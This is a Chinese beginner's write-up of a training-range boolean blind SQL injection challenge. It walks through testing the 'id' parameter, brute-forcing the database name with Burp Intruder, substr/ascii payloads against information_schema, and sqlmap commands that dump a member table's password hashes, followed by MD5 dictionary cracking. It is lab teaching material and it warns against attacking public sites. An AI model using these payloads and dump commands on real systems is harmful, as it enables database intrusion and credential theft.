墨者学院-入门级-SQL注入漏洞测试(布尔盲注)-小白必看(超详细)

2020年8月25日,第五次渗透测试。
通过对sql语句进行注入,数据库的库名,表名,字段进步爆破,最终获得key。

准备需求:
1.windows系统pc
2.2.burpsuite(bp)抓包软件
3.sqlmap sql 数据库的爆破工具

1.进入靶场
红框为靶场入口
在这里插入图片描述
进入以后我们看地址栏,结尾为php?id=1,大部分以id=XX结尾的网页都存在sql注入漏洞,所以我们来验证一下这是否是一个存在sql漏洞的网页。
在这里插入图片描述
2.在地址栏后面加上and 1=1,然后回车,网页可以正常打开,而当我们输入1=2时,网页没有信息显示,这证明这网页确实存在一个sql注入漏洞。
在这里插入图片描述
在这里插入图片描述
这是一个最简单的验证方法。原理是地址输入栏就相等于页面与数据库的一个接口,我们在地址栏上打上sql语句就等同于在sql数据库后台写入相等的sql语句,我们知道sql数据库也可以进行运算,当运算到1=1是一个true的结果,则语句会正常执行,而当1=2运算出来是一个false,则语句就会出现错误,执行失败,因此页面返回来的就是空白。
小干货:做sql,xss等页面的注入时,推荐使用火狐浏览器,因为其他浏览器当输入and 1=1时,空格会自动变成20%,而火狐不会,这有助于我们方便修改注入。
下面是【搜狗浏览器】
在这里插入图片描述
下面是【火狐浏览器】
在这里插入图片描述
3.我们确认了网页存在sql漏洞后,我们就可以进行sql语句注入的操作,通过注入分析,知道数据库的长度,数据库名称,表名,字段名等信息,这些信息都对我们彻底攻破数据库起重要作用。

判断库名的长度
再后面加上/new_list.php?id=1 and length(database())=1,内容显示空白,我们把1改为2,以此类推,当 length(database())=10的时候,页面就会正常显示,则表明,库名的长度为10.
在这里插入图片描述
在这里插入图片描述
4.库名爆破(两种方法)
方法一:通过bp软件,对库名进行爆破。
(1)首先在地址栏后面加上/new_list.php?id=1 and substr(database(),1,1)=‘b’ --+,然后开启bp的代理拦截,回车。我们打开bp界面,把拦截的数据发送给Intruder。
在这里插入图片描述
然后我们切换到爆破模块,在’b’处【添加§】,接着加入有效负荷选项,A-Z和a-z。在这里插入图片描述
在这里插入图片描述
点击开始攻击
在这里插入图片描述
然后查看请求结果,看他们的长,如果某个有效负荷的值偏大,那么库名的第一位就是此字母。
因此库名的第一位是‘s’
在这里插入图片描述
(2)爆破第二位,我们需要把(database(),1,1)改为(database(),2,1)。
在这里插入图片描述
再进行攻击,查看请求结果,得出库名第二位为t,往后的以此类推。
在这里插入图片描述
最后得出完整库名为 stormgroup

往后还可以通过bp爆表名,字段,字段内容,数据等,但过程过于繁琐没有做到,有空可能会更新上。有兴趣可以自己尝试,大概方法和爆库名如出一致。
爆表名:
/new_list.php?id=1 and substr((select table_name from information_schema.tables where table_schema=‘stormgroup’ limit 0,1),1,1))=‘m’ --+

爆字段:
/new_list.php?id=1 and length((select column_name from information_schema.columns where table_name=‘member’ and table_schema=‘stormgroup’ limit 0,1))=4 --+

爆字段内容:
/new_list.php?id=1 and ascii(substr((select concat(name) from stormgroup.member limit 1,1),1,1))=109

方法二:通过sqlmap软件,对库名进行爆破。
此方法运用到sqlmap工具,此工具是专门用来爆破说起来数据库的,方便,快捷,而且输入格式简单。相比用一个一个字母去爆破,省时省力。
(1)先打开sqlmap,输入sqlmap.py -u “http://219.153.49.228:40668/new_list.php?id=1” --dbs,然后系统会自动爆破库名。
红框处就是爆破出来的所有库名,其中stormgroup便是我们之前得出的库名。

注意:每次开启靶场的端口号都不一样,记得
修改端口号!!!修改端口号!!!修改端口号!!!
别像我一样吃了大亏
在这里插入图片描述
在这里插入图片描述
(2)知道库名后我们开始爆破表名。
在sqlmao输入sqlmap.py -u “http://219.153.49.228:40668/new_list.php?id=1” -D stormgroup --tables
在这里插入图片描述
在这里插入图片描述
(3)爆破表字段
在sqlmao输入sqlmap.py -u “http://219.153.49.228:40668/new_list.php?id=1” -D stormgroup -T member --columns
在这里插入图片描述
在这里插入图片描述
(4)最后爆值,既是密码
在sqlmap输入sqlmap.py -u “http://219.153.49.228:40668/new_list.php?id=1” --dump -C password -T member -D stormgroup
在这里插入图片描述
最后网上破解MD5密码,得到明文密码(选取第二个密码)

MD5密码将不同位数的数字,字符,字母通过算法转化成一定位数的密文,此密文无法逆向验算,即密文无法通过一定算法逆向推到成原明文。MD5加密看是很安全,但是仍然有缺陷,既是同样明文验算出来的密文是一定的,例如用MD5加密123456,则无论试多少次,123456加密出来的结果都是相同的。所以,我们可以制作一本字典,把所有数字,字母的组合方式和对应的MD5码对应在一起,当你要破解时只要找到在字典中相同的MD5码,再对应上明文,这样就破解出来了,所以MD5码实则并不安全,放在网上分分钟被破解。
在这里插入图片描述
然后登陆,就得到key,提交,完成
在这里插入图片描述
这实验看似难,但其实也很简单。此靶场为了实验需求,因此安全防御不够,但在现实中,漏洞是不容易发现的,而已也不容易进行注入,大多都会对接口进行掩饰,或是有敏感字符的检测,所以在现实中攻击和黑入一个网站并不容易。
当然靶场更多的是让我们了解和熟悉攻击和黑入的过程,原理,而我们也不要在公网网站上进行渗透,即使是一个完全没有安全防御的网站也不可,因为这违法,并且非法入侵做了不当操作,会对他人或企业造成影响。

最后附上sqlmap的操作输入格式:
在这里插入图片描述
也简单介绍下sqlmap,sqlmap要在python2的环境下运行,所以首先要安装python2,配置好环境才能使用sqlmap,至于安装和下载步骤,网上一抓一大把,我也不多说。至于本人用的是网友制作的一个免python版的sqlmap。因为自己也在学python3,如果同时下载2会麻烦,所以直接下了个免python版的,有兴趣的可以百度找找。

  • 10
    点赞
  • 33
    收藏
    觉得还不错? 一键收藏
  • 6
    评论
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值